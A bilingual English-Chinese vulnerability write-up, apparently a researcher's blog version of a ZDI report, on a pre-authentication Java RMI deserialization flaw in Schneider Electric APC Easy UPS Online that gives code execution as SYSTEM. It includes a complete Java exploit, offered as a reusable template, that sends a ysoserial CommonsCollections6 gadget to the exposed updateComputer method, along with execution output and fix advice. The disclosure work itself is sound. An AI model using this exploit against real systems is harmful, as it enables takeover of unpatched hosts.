Last year I looked into Schneider APC UPS for vulnerabilities, to eventually report them to ZDI.
去年,我调查了施耐德APC UPS的漏洞,并最终将其报告给ZDI。
One of the identified bugs was patched in between of the time me reporting it to ZDI and ZDI analyzing the report, which allows me to share it with you.
在我向 ZDI 报告和 ZDI 分析报告之间修补了其中一个已识别的错误,这使我能够与您分享。
The vulnerability was a deserialization on the application level within an exposed RMI method. So when a non-primitive type is used as one of the parameters of an exposed RMI method, we can abuse that for arbitrary deserialization and might leverage this for RCE. I’ll share exploit code which can be used as a sort of template when you identify a similar issue and want to create a standalone exploit.
该漏洞是暴露的 RMI 方法中应用程序级别的反序列化。因此,当非基元类型被用作公开的 RMI 方法的参数之一时,我们可以将其用于任意反序列化,并可能将其用于 RCE。我将分享漏洞利用代码,当您发现类似问题并希望创建独立漏洞利用时,这些代码可以用作一种模板。
So without further ado here is a (slightly modified) version of the report I sent to ZDI.
因此,事不宜迟,这是我发送给ZDI的报告的(略有修改)版本。
Schneider Electric APC Easy UPS Online – RMI Deserialization to RCE
施耐德电气 APC Easy UPS 在线 – RMI 反序列化到 RCE
Schneider Electric APC Easy UPS suffers from an RCE due to vulnerable Classes within the Classpath. <snipped some information I’m unable to share here.>
施耐德电气 APC Easy UPS 由于类路径中的易受攻击的类而遭受 RCE 的影响。<截取了一些我无法在这里分享的信息>
Affected Products: 受影响的产品:
- Schneider Electric APC Easy UPS Online ( Version: v2.5-GA-01-22261)
施耐德电气APC Easy UPS Online ( 版本: v2.5-GA-01-22261)
Download Links: 下载链接:
- Schneider Electric APC Easy UPS Online – https://www.apc.com/za/en/download/document/APC_install_APC_UPS_windows/
施耐德电气 APC Easy UPS 在线 – https://www.apc.com/za/en/download/document/APC_install_APC_UPS_windows/
Short Intro: 简短介绍:
The named product exposes an RMI registry on TCP port 41009 which exposes several interfaces. A number of these interfaces expose RMI Methods, which accept a non-primitive data-type as a parameter and self-implemented Classes. Also known vulnerable Classes (Classes containing RCE Gadgets) are within the classpath. This leads to a scenario where pre-auth RCE as the SYSTEM user can be obtained through deserialization attacks.
命名产品在 TCP 端口 41009 上公开一个 RMI 注册表,该注册表公开多个接口。其中许多接口公开了 RMI 方法,这些方法接受非原始数据类型作为参数和自实现的类。此外,已知易受攻击的类(包含 RCE 小工具的类)位于类路径中。这导致了一种情况,即可以通过反序列化攻击获得作为 SYSTEM 用户的预身份验证 RCE。
Root Cause Analysis: 根本原因分析:
For a good introduction of attacking deserialization on the application level for RMI exposed Methods the following blog post is recommended: Mogwailabs – Attacking Java RMI Services After jep 290
为了在应用程序级别上对 RMI 公开方法进行攻击反序列化,建议使用以下博客文章: Mogwailabs – 攻击 Java RMI 服务 在 jep 290 之后
The overall problem still is, that non-primitive data types within Java RMI need to be (re-)generated on the other side (server side) and the infamous readObject()
is called.
总体问题仍然是,Java RMI 中的非原始数据类型需要在另一端(服务器端)重新生成,并且臭名昭著的 readObject()
数据类型被调用。
So as soon as a vulnerable Class (a Class containing a useful Gadget) is within the classpath and it is not restricted to be loaded, this can lead to RCE.
因此,一旦一个易受攻击的类(包含有用小工具的类)在类路径中并且它不受加载限制,这可能会导致 RCE。
C:\APCUPS\monitor\upsLinkMonitor.jar
file. C:\APCUPS\monitor\upsLinkMonitor.jar
文件。
/* */ package cn.com.voltronicpower.rmiclass;
/* */
/* */ public class SystemService
/* */ extends ServiceSupport
/* */ implements SystemServiceInterface
/* */ {
...
/* */
/* */ public boolean updateComputer(ComputerConfig computerconfig) throws RemoteException {
/* 544 */ ComputerDao dao = new ComputerDao();
/* 545 */ return dao.updateComputerConfig(computerconfig);
/* */ }
/* */
The Class SystemService
implements the SystemServiceInterface
and contains a Method which accepts a self-implemented Class (ComputerConfig
) as parameter. This method was chosen to get targeted for the attack.
该类 SystemService
实现 SystemServiceInterface
并包含一个 Method,该方法接受自实现的类 ( ComputerConfig
) 作为参数。选择这种方法是为了成为攻击的目标。
The overall idea is now, to pass an RCE Gadget Object instead of the expected ComputerConfig
Object and get Remote Command Execution as SYSTEM
user through the deserialization of our passed Gadget Object.
现在的总体思路是,传递一个 RCE Gadget 对象而不是预期的 ComputerConfig
对象,并通过我们传递的 Gadget 对象的反序列化以用户身份 SYSTEM
获得远程命令执行。
While checking for potential gadgets, a look inside the respective lib directory revealed the following:
在检查潜在的小工具时,查看相应的 lib 目录揭示了以下内容:
C:\APCUPS\tomcat\webapps\SchneiderUPS\WEB-INF\lib>dir
Volume in drive C has no label.
Volume Serial Number is 7600-863E
Directory of C:\APCUPS\tomcat\webapps\SchneiderUPS\WEB-INF\lib
15/10/2022 11:13 <DIR> .
15/10/2022 11:13 <DIR> ..
09/03/2021 20:17 188,671 commons-beanutils-1.7.0.jar
09/03/2021 20:17 559,366 commons-collections-3.1.jar [1]
25/11/2020 17:24 72,446 commons-fileupload-1.4.jar [2]
25/11/2020 17:24 214,788 commons-io-2.6.jar
25/11/2020 17:24 501,879 commons-lang3-3.8.1.jar
27/04/2022 11:19 38,015 commons-logging.jar
27/04/2022 11:19 313,898 dom4j-1.6.1.jar
09/03/2021 20:17 858,834 dwr.jar
09/03/2021 20:17 86,487 ezmorph-1.0.6.jar
02/11/2021 11:32 661,717 fastjson-1.2.78.jar
25/11/2020 17:24 1,702,975 freemarker-2.3.30.jar
27/04/2022 11:19 1,613,319 iText-5.0.6.jar
25/11/2020 17:24 750,581 javassist-3.20.0-GA.jar
09/03/2021 20:17 159,123 json-lib-2.4-jdk15.jar
09/03/2021 20:17 20,682 jstl.jar
27/12/2021 18:24 301,873 log4j-api-2.17.1.jar
27/12/2021 18:24 1,790,452 log4j-core-2.17.1.jar
25/11/2020 17:24 263,488 ognl-3.1.28.jar
27/04/2022 11:20 348,241 SNMPNetwork.jar
25/11/2020 17:24 1,624,974 struts2-core-2.5.26.jar
09/11/2021 15:10 93,128 upsLinkRMI.jar
22/02/2022 15:43 51,653 upsLinkUtil.jar
22 File(s) 12,216,590 bytes
2 Dir(s) 16,346,681,344 bytes free
[1] Is definately vulnerable and used within the provided exploit. [2] Is very likely also vulnerable.
[1] 绝对容易受到攻击,并在提供的漏洞利用范围内使用。[2] 很可能也是易受攻击的。
To summarize: 总结一下:
- JEP>=290 -> no direct RMI exploitation using
ysoserial.exploit.RMIRegistryExploit
JEP>=290 -> 没有直接利用 RMI 使用 ysoserial.exploit.RMIRegistryExploit
- RMI exposed Method uses non-primitive data type as parameter
RMI exposed 方法使用非基元数据类型作为参数
- Vulnerable Classes (containing RCE Gagdgets) in Classpath
类路径中的易受攻击的类(包含 RCE Gagdgets)
Exploit: 利用:
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.lang.reflect.InvocationHandler;
import ysoserial.payloads.CommonsCollections6;
import cn.com.voltronicpower.data.bean.ComputerConfig;
import cn.com.voltronicpower.rmiInterface.SystemServiceInterface;
public class Main {
public static void main(String[] args) throws Throwable {
try {
String serverIP = args[0];
int serverPort = 41009;
Registry registry = LocateRegistry.getRegistry(serverIP, serverPort); // [1]
SystemServiceInterface ssi = (SystemServiceInterface) registry.lookup("system"); // [2]
InvocationHandler ih = Proxy.getInvocationHandler(ssi); // [3]
Method method = SystemServiceInterface.class.getMethod("updateComputer", new Class[] {ComputerConfig.class }); // [4]
Object payload = new CommonsCollections6().getObject("mspaint.exe"); // [5]
Object[] params = new Object[] { // [6]
payload
};
ih.invoke(ssi, method, params); // [7]
} catch (Exception e) {
System.out.println(e.toString());
e.printStackTrace();
}
}
}
Like in a normal RMI client program, a handle to the registry is obtained [1]. And still like in a normal RMI client the Interface of the respective endpoint is obtained subsequently [2]. Then the InvocationHandler from the Remote
Object obtained through the lookup
call is obtained [3]. A new Method is created through reflection, having the same “settings” as the normal “updateComputer” Method [4].
与普通的 RMI 客户端程序一样,获取注册表的句柄 [1]。并且仍然像在普通的 RMI 客户端中一样,随后获得相应端点的接口 [2]。然后从通过 lookup
调用获取的对象 [3] 获取 InvocationHandler Remote
。通过反射创建一个新方法,其“设置”与普通的“updateComputer”方法 [4] 相同。
At [5] a ysoserial payload is generated using the CommonsCollections6 gadget chain. The interesting part now starts to happen, we create an Object array [6] which only includes our RCE Gadget. And finally call the invocation handler of our RMI Endpoint with the respective method and our malicious argument [7] to achieve RCE as SYSTEM user.
在 [5] 处,使用 CommonsCollections6 小工具链生成 ysoserial 有效负载。有趣的部分现在开始发生,我们创建一个对象数组 [6],它只包含我们的 RCE 小工具。最后,使用相应的方法和恶意参数 [7] 调用 RMI 端点的调用处理程序,以 SYSTEM 用户身份实现 RCE。
While there exist writups (https://mogwailabs.de/en/blog/2019/03/attacking-java-rmi-services-after-jep-290/) explaining how it is achievable in theory and also hint at solutions like using custom debugger setups, this method of how to abuse that kind of vulnerabilities in an elegant and using just a small number of LoC is new to the public domain to my knowledge.
虽然存在 writups (https://mogwailabs.de/en/blog/2019/03/attacking-java-rmi-services-after-jep-290/) 解释它在理论上是如何实现的,并且还暗示了使用自定义调试器设置等解决方案,但据我所知,这种如何优雅地滥用此类漏洞并仅使用少量 LoC 的方法在公共领域是新的。
Added note: 添加的注释:
My colleague @qtc_de implemented a similar method within his remote-method-guesser tool [rmg](https://github.com/qtc-de/remote-method-guesser)
Note: It is necessary to have the upsLinkMonitor.jar
and ysoserial.jar
files within the classpath for successful compilation.
注意:为了成功编译,类路径中必须有 upsLinkMonitor.jar
和 ysoserial.jar
文件。
Example execution (these errors are expected and don’t show a failed exploit attempt): Note: The exploit was developed with jdk1.8 within eclipse. Due to the nature of the exploit it is recommended to use jre 1.8 for execution.
执行示例(这些错误是预期的,并且不显示失败的漏洞利用尝试): 注意:该漏洞是在 eclipse 中使用 jdk1.8 开发的。由于漏洞利用的性质,建议使用 jre 1.8 执行。
C:\APCUPS\openJDK\bin>java.exe -version
openjdk version "1.8.0_322"
OpenJDK Runtime Environment (Zulu 8.60.0.21-CA-win64) (build 1.8.0_322-b06)
OpenJDK 64-Bit Server VM (Zulu 8.60.0.21-CA-win64) (build 25.322-b06, mixed mode)
C:\APCUPS\openJDK\bin>java.exe -jar C:\Users\user\Desktop\APC-UPS-RMI-AppDeser.jar 172.16.38.131
java.lang.IllegalArgumentException: argument type mismatch
java.lang.IllegalArgumentException: argument type mismatch
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:357)
at sun.rmi.transport.Transport$1.run(Transport.java:200)
at sun.rmi.transport.Transport$1.run(Transport.java:197)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:573)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(StreamRemoteCall.java:303)
at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:279)
at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:164)
at java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod(RemoteObjectInvocationHandler.java:235)
at java.rmi.server.RemoteObjectInvocationHandler.invoke(RemoteObjectInvocationHandler.java:180)
at pwn.Main.main(Main.java:138)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at org.eclipse.jdt.internal.jarinjarloader.JarRsrcLoader.main(JarRsrcLoader.java:61)
Afterwards SchneiderUPSMonitor.exe
will have spawned mspaint.exe
as a child process, running as SYSTEM
.
之后 SchneiderUPSMonitor.exe
将 mspaint.exe
作为子进程生成,以 SYSTEM
.
Recommendation: 建议:
It is recommended to update all the used libraries and cross-check with the listed ysoserial gadgets ysoserial to have higher versions on each. Additionally it might make sense to add deserialization filters, for more info the documentation serialization-filtering can be consulted.
建议更新所有使用的库,并与列出的 ysoserial 小工具进行交叉检查,以使每个库都有更高的版本。此外,添加反序列化筛选器可能是有意义的,有关更多信息,可以查阅文档序列化筛选。